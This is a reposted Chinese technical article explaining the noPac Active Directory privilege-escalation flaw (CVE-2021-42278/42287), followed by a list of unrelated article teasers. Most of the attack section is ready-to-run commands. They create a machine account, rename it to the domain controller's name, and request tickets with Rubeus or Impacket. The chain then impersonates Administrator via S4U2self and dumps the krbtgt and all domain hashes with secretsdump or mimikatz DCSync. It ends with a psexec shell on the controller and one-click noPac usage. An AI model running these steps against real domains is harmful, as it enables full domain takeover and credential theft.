域渗透漏洞

news2024/11/17 23:56:43

一、域内提权漏洞 (CVE-2021-42287和CVE-2021-42278)

1.1 漏洞介绍

1.1.1 CVE-2021-42278

主机账户的名称尾部应该有一个 $(即 sAMAccountName 属性),但是域控对此属性并没有任何验证来确保是否带有 $,这允许攻击者模拟域控主机账户。

1.1.2 CVE-2021-42287

在申请 ST(服务票据)时,首先需要出示TGT(票据授予票),申请ST时当KDC没有找到TGT中的请求账户时,KDC将自动在请求账户尾部加上$并再次进行查找。

这时候发生的情况是,使用名为AD01的账户获取一张TGT,再删除AD01账户,那么使用该TGT并利用S4U2self协议再次向它自己(AD01)请求TGT服务票据时将导致KDC在AD中寻找 AD01$,如果域控中账户 AD01$存在,那么此时的AD01(普通账户)只是作为任何其他普通用户就获得了 AD01$(域控制器账户)的TGT服务票据

1.2 漏洞核心点

通过查看网上泄露的xp源代码中关于kerberos的处理流程,我们可以清楚的看到漏洞产生的真正核心原因是在处理UserName字段时的错误,如下图代码:

首先,如果找不到 UserName 的话,KDC会加上$继续查找 UserName$

img

如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的用户。

img

正是因为这个处理逻辑,导致了CVE-2021-42278

1.3 漏洞详解

光是一个CVE-2021-42278处理逻辑是不足以触发并形成攻击链的,需要让KDC找不到之前的用户

有以下两种方法:

  • 跨域请求

跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会走进这个处理UserName的逻辑。

  • 修改账户saMAccountName属性

结合CVE-2021-42278漏洞来修改机器用户的saMAccountName属性,让KDC找不到用户,然后走进这个处理UserName的逻辑。

进入KDC处理UserName的逻辑后,还是不能伪造高权限的,因为票据中代表用户身份权限的数据块是PAC。而申请的TGT票据授予票中的PAC是根据预认证身份信息生成的,这个我们无法伪造。因此需要想办法在ST服务票据中进行伪造。而正常的ST服务票据中的PAC是直接从TGT票据授予票中直接拷贝的。因此需要让KDC在TGS-REP(返回ST服务票据)的时候重新生成PAC,而不是直接拷贝TGT中的PAC。

两种方法:

  • S4U2Self请求

KDC收到客户端发来的TGS-REQ S4U2Self协议,在验证了客户端是否具有发起S4U2Self协议权限后,会根据S4U2Self协议中模拟的用户生成对应权限的PAC,然后放在ST服务票据中,并不会复用TGT票据授予票中的PAC!

  • 跨域请求时使用无PAC的TGT票据进行TGS请求

KDC在处理跨域的TGS-REQ请求时,如果携带的TGT票据授予票中没有PAC的话,如果是当前域的请求,则ST服务票据也没有PAC。如果是其他域的话,则会重新生成一个PAC!

1.4 攻击场景复现

复现参考:sAMAccountName spoofing - The Hacker Recipes

  • 获取到域内普通用户权限后,首先创建一个机器用户 ONLY$
#远程执行
proxychains python3 addcomputer.py -computer-name 'ONLY' -computer-pass 'Qwer1234' -dc-ip 10.10.10.140 'nasa.gov/test:QWEasd!@#999' -method SAMR -debug

#本地执行
set-executionpolicy remotesigned #允许导入脚本

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount ONLY -Password $(ConvertTo-SecureString "Qwer1234" -AsPlainText -Force)

img

  • 查看并清除机器用户 ONLY$的SPN

使用Krbrelayx工具包,下载地址:dirkjanm/krbrelayx: Kerberos 无约束的授权滥用工具包

在上面使用addcomputer.py利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

#远程执行
proxychains python3 addspn.py -u 'nasa.gov\test' -p 'QWEasd!@#999' -t 'ONLY$' -c 10.10.10.140

#本地执行
Import-Module .\powerview.ps1
Get-DomainObject "CN=only,CN=Computers,DC=nasa,DC=gov" #查看信息
Set-DomainObject "CN=only,CN=Computers,DC=nasa,DC=gov" -Clear 'serviceprincipalname' -Verbose #擦除SPN
  • 将机器用户 ONLY$saMAccountName属性修改为AD01
#远程执行
proxychains python3 renameMachine.py -current-name 'ONLY$' -new-name 'AD01' -dc-ip 10.10.10.140 nasa.gov/test:'QWEasd!@#999'

#本地执行
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount "ONLY" -Value "AD01" -Attribute samaccountname -Verbose

img

  • 请求带有PAC的正常TGT票据授予票
#远程执行
proxychains python3 getTGT.py -dc-ip 10.10.10.140 nasa.gov/AD01:'Qwer1234'

#本地执行
Rubeus.exe asktgt /user:"AD01" /password:"Qwer1234" /domain:"nasa.gov" /dc:"AD01.nasa.gov" /nowrap

img

  • 将机器用户 ONLYsaMAccountName属性恢复为ONLY$
#远程执行
proxychains python3 renameMachine.py -current-name 'AD01' -new-name 'ONLY$' -dc-ip 10.10.10.140 nasa.gov/test:'QWEasd!@#999'

#本地执行
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount "AD01" -Value "ONLY$" -Attribute samaccountname -Verbose

img

  • 使用带有PAC的正常的TGT票据授予票,利用 S4u2Self协议请求访问[cifs/ldap]/AD01.nasa.gov的ST服务票据。
#远程执行
KRB5CCNAME='AD01.ccache' proxychains python3 getST.py -self -impersonate "Administrator" -altservice "cifs/AD01.nasa.gov" -k -no-pass -dc-ip 10.10.10.101 nasa.gov/AD01@10.10.10.140

#本地执行
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD01.nasa.gov" /dc:"AD01.nasa.gov" /ptt /ticket:[base64]

img

  • 执行高权限操作
#ldap服务远程导出域内krbtgt用户哈希
KRB5CCNAME=Administrator@cifs_AD01.nasa.gov@NASA.GOV.ccache proxychains python3 secretsdump.py -k -no-pass -just-dc-user krbtgt -dc-ip 10.10.10.140 AD01.nasa.gov -target-ip 10.10.10.140
#本地导出
mimikatz.exe "lsadump::dcsync /domain:nasa.goov" /all /csv

#cifs服务远程getshell
KRB5CCNAME=Administrator@cifs_AD01.nasa.gov@NASA.GOV.ccache proxychains python3 psexec.py -k -no-pass -dc-ip 10.10.10.140 AD01.nasa.gov -target-ip 10.10.10.140

img

img

1.5 自动化利用脚本

下载地址:https://github.com/Ridter/noPac

proxychains python3 noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -shell --impersonate administrator

img

python3 scanner.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $DC_IP
python3 noPac.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $DC_IP --impersonate Administrator -dump

1.6 利用过程的命令

手动利用

# exploit.local是域名,WIN-HHPV37PB123是DC的机器名称,demo5是新建的机器名,1qaz@WSX是新建的机器用户的密码。

# 使用Powershell创建机器用户
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "demo5" -Password $($password) -Domain "exploit.local" -DomainController "WIN-HHPV37PB123.exploit.local" -Verbose

# 使用Powershell清除机器用户的SPN
Set-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local" -Clear 'serviceprincipalname' -Verbose

# 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "WIN-HHPV37PB123" -Attribute samaccountname -Verbose

# 查看机器用户名是否修改成功
Get-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local"

# 使用Rubeus用机器账号向DC请求TGT
Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap

# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "demo5" -Attribute samaccountname -Verbose

# 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]

# 可选命令,查看获取的ST
klist

# 使用Mimikatz进行Dcsync
mimikatz.exe "lsadump::dcsync /domain:exploit.local /kdc:WIN-HHPV37PB123.exploit.local /user:krbtgt" "exit"

# 可选命令,清除所有的ST
klist purge

工具利用

# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
noPac.exe scan -domain exploit.local -user "lowpriv" -pass "1qaz@WSX"

# 使用一键化工具获得域控cifs的权限
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo6 /mPassword 1qaz@WSX /service cifs /ptt

# 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo7 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

# 使用dcsync导出域内所有密码
mimikatz.exe "lsadump::dcsync /domain:exploit.local /all" "exit"

1.7 参考文章

利用指南

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/195361.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python带你制作自动答题程序,速度超越98%人

前言 嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! 目录前言环境使用:模块使用:自动答题思路步骤:代码展示尾语 &#x1f49d;环境使用: Python 3.8 –> 解释器 <执行python代码> Pycharm –> 编辑器 <写python代码的> 模块使用: import requests —&g…

Springboot_vue摄影作品图片展示交流平台

前后端通讯一般都是采取标准的JSON格式来交互。 前后端分离 的核心思想是前端页面通过 ajax 调用后端的 restuful api 进行数据交互&#xff0c;而 单页面应用&#xff08;single page web application&#xff0c;SPA&#xff09;&#xff0c;就是只有一张页面&#xff0c;并在…

https解决方案-利用keytool生成证书

https解决方案 1:什么是HTTPS&#xff1f; HTTPS其实是有两部分组成&#xff1a;HTTP SSL / TLS&#xff0c; 也就是在HTTP上又加了一层处理加密信息的模块&#xff0c;并且会进行身份的验证。 2:什么是自签名证书&#xff1f; 就是自己生成的证书&#xff0c;并不是官方…

计算机中的大小端存储

在讲C语言的时候&#xff0c;有讲到大小端的内容&#xff0c;这里呢对大小端的相关内容进行了整理&#xff0c;有需要的可以参考一下&#xff01; 大端和小端来自一个小故事&#xff1a;端模式(Endian)的这个词出自Jonathan Swift书写的《格列佛游记》。这本书根据将鸡蛋敲开的…

mysql导致索引失效的常见情况以及命名规范索引计划分析

1、失效的情况 1.前导模糊查询不能利用索引(like ‘%XX’或者like ‘%XX%’) 假如有这样一列code的值为’AAA’,‘AAB’,‘BAA’,‘BAB’ ,如果where code like %AB’条件&#xff0c;由于前面是 模糊的&#xff0c;所以不能利用索引的顺序&#xff0c;必须一个个去找&#xf…

虚拟机的Linux安装redis

1&#xff0c;下载redis 可以去官网下载压缩包 2&#xff0c;环境准备 我看很多文章都说要安装yum&#xff0c;但是在终端界面一直都是安装失败&#xff0c;后面才知道我的虚拟机是Ubuntu版本&#xff0c;而Ubuntu版本一般不使用yum命令&#xff0c;一般都是使用apt-get命令…

RANSAC: Random Sample Consensus

目录RANSAC算法基本思想和流程迭代次数推导参考RANSAC RANSAC(RAndom SAmple Consensus,随机采样一致)算法是从一组含有外点(outliers)的数据中正确估计数学模型参数的迭代算法。“外点”一般指的的数据中的噪声&#xff0c;比如说匹配中的误匹配和估计曲线中的离群点。所以&a…

电脑黑屏却开着机是怎么回事?解决黑屏的快捷方法

我们经常会用到电脑&#xff0c;但是你真的了解电脑相关知识吗&#xff1f;遇到比较复杂的电脑问题&#xff0c;你是否会手足无措&#xff1f;电脑黑屏却开着机这是什么原因造成的&#xff0c;我们有什么好办法恢复黑屏的电脑吗&#xff1f; 本文针对电脑黑屏却开着机的情况&a…

PCB生产工艺 | 第三道之沉铜,你都了解吗?

衔接上文&#xff0c;继续为朋友们分享普通单双面板的生产工艺流程。 如图&#xff0c;第三道主流程为沉铜。 沉铜的目的为&#xff1a; 在整个印制板&#xff08;尤其是孔壁&#xff09;上沉积一层薄铜&#xff0c;以便随后进行孔内电镀&#xff0c;使孔金属化&#xff08;孔…

小众点评项目要点内容总结【面试用】

小众点评项目要点 文章目录小众点评项目要点1.使用Redis代替Session登录1.1 Session登录存在的问题1.2 使用Redis代替Session登录分析1.3 使用Redis登录的流程1.4 解决Redis中有效期问题2.使用Redis作为缓存2.1 为什么使用缓存2.2 缓存策略2.3 解决缓存穿透2.4 解决缓存雪崩2.5…

CSS响应式设计——(视口/网格视图/媒体查询/图像/视频)看这一篇就够了

目录 响应式网页设计 - 简介 什么是响应式网页设计&#xff1f; 为所有用户获得最佳体验的设计 响应式网页设计 - 视口 什么是视口&#xff1f; 设置视口 把内容调整到视口的大小 响应式网页设计 - 网格视图 什么是网格视图&#xff1f; 构建响应式网格视图 实例 C…

【冷知识】如何快速获取自己的微信公众号关注页的链接地址?

一&#xff1a;业务场景 目前微信公众号的关注方法基本有三种: 扫描公众号二维码搜索公众号账号名称通过阅读公众号发布出来的公众图文,点击上面的微信号名称(右上角三点),可以查看公众号,进入关注页面。 但是如果想实现通过一个链接直接跳转到公众号的关注页面&#xff0c;…

VRP系统(视图介绍以及基本命令)

前言 VRP (Versatile Routing Platform)即通用路由平台&#xff0c;是华为在通信领域多年的研究经验结晶&#xff0c;是华为所有基于IP/ATM构架的数据通信产品操作系统平台。运行VRP操作系统的华为产品包括路由器、局域网交换机、ATM交换机、拨号访问服务器、IP电话网关、电信级…

【Hadoop】Hadoop 3.x 新特性总览

Hadoop 3.x 新特性剖析系列11. 概述2. 内容2.1 JDK2.2 EC技术2.3 YARN的时间线V.2服务2.3.1 伸缩性2.3.2 可用性2.3.3 架构体系2.4 优化Hadoop Shell脚本2.5 重构Hadoop Client Jar包2.6 支持等待容器和分布式调度2.7 支持多个NameNode节点2.8 默认的服务端口被修改2.9 支持文件…

数据量过大,使用saveBatch保存数据太慢如何解决:

数据量过大&#xff0c;使用saveBatch保存数据太慢如何解决&#xff1a; 在使用mybatis-plus的saveBatch方法时发现保存太慢&#xff0c;会生成一大堆的insert&#xff0c;而不是一批一批的&#xff0c;影响因素可能有两个&#xff0c;如下&#xff1a; 1. mybatis-plus使用s…

一文读懂SCADA系统的组件功能及应用

什么是SCADASCADA是一个功能强大的控制系统&#xff0c;旨在收集&#xff0c;分析和可视化来自工业设备的数据。SCADA系统自动提取、监控、处理、分发、记录和显示从远程现场设备(如传感器、工厂机器、电机、泵、阀门)和工业企业、制造设施、核电站和炼油厂等资产密集型环境中的…

kkFileView 文件在线预览部署

一、什么是kkFileView kkFileView为文件文档在线预览解决方案&#xff0c;该项目使用流行的spring boot搭建&#xff0c;易上手和部署&#xff0c;基本支持主流办公文档的在线预览&#xff0c;如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等等。 官方地址kkFi…

MasterSlave概念与配置与eeprom信息擦除解决步骤

目录 一、Master&Slave概念与配置​ 1.Master&Slave概念​ 2.期待协商结果​ 3.RENIX配置​ 4.帮助文档​ 二、eeprom信息擦除解决步骤​ 1.使用SSH管理软件连接​​网络测试仪​​ 2.使用“cd /opt/eeprom”命令进入eeprom文件夹 3.进入eeprom文件夹 4.重启…

GPU云服务器CentOS环境下的配置教程

CnetOS环境部署 CentOS是支持自动安装的cuda以及相关驱动的&#xff0c;我们就直接安装吧 测试环境 登录后首先检查系统是否有支持 CUDA 编程的 GPU&#xff0c;使用如下命令查看当前GPU的型号。可以识别出NVIDIA T4 lspci | grep -i nvidia输入nvidia-smi&#xff0c;这里…

KernelShark分析内核任务执行过程

一、KernelShark简介 KernelShark是一个非常实用的工具&#xff0c;其可以搭配 trace-cmd 使用&#xff0c;将内核的任务执行过程以直观的形式展现出来。下面的文档中详细的介绍了KernelShark的使用方法和功能&#xff0c;这里不再详细描述 https://www.kernelshark.org/Docum…